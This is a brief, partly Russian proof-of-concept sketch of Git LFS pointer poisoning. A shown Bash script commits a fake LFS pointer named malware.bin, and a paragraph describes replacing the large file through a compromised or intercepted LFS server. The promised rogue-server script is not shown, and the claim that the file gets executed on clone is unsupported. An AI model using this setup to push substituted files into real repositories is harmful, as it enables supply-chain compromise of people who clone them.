
Proof-of-concept для отравления указателей Git LFS, со скриптами на Bash и Python, которые создают вредоносный репозиторий, имитируют поддельный LFS-сервер и запускают выполнение кода.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
Репозиторий использует Git LFS, но не фиксирует конечную точку LFS и не проверяет хэши объектов после загрузки. Злоумышленник, скомпрометировавший сервер LFS (или способный провести атаку «человек посередине»), может подменить большой файл вредоносным, и при клонировании он будет автоматически загружен и, возможно, выполнен.
bash create_malicious_repo.sh
# Then simulate rogue LFS server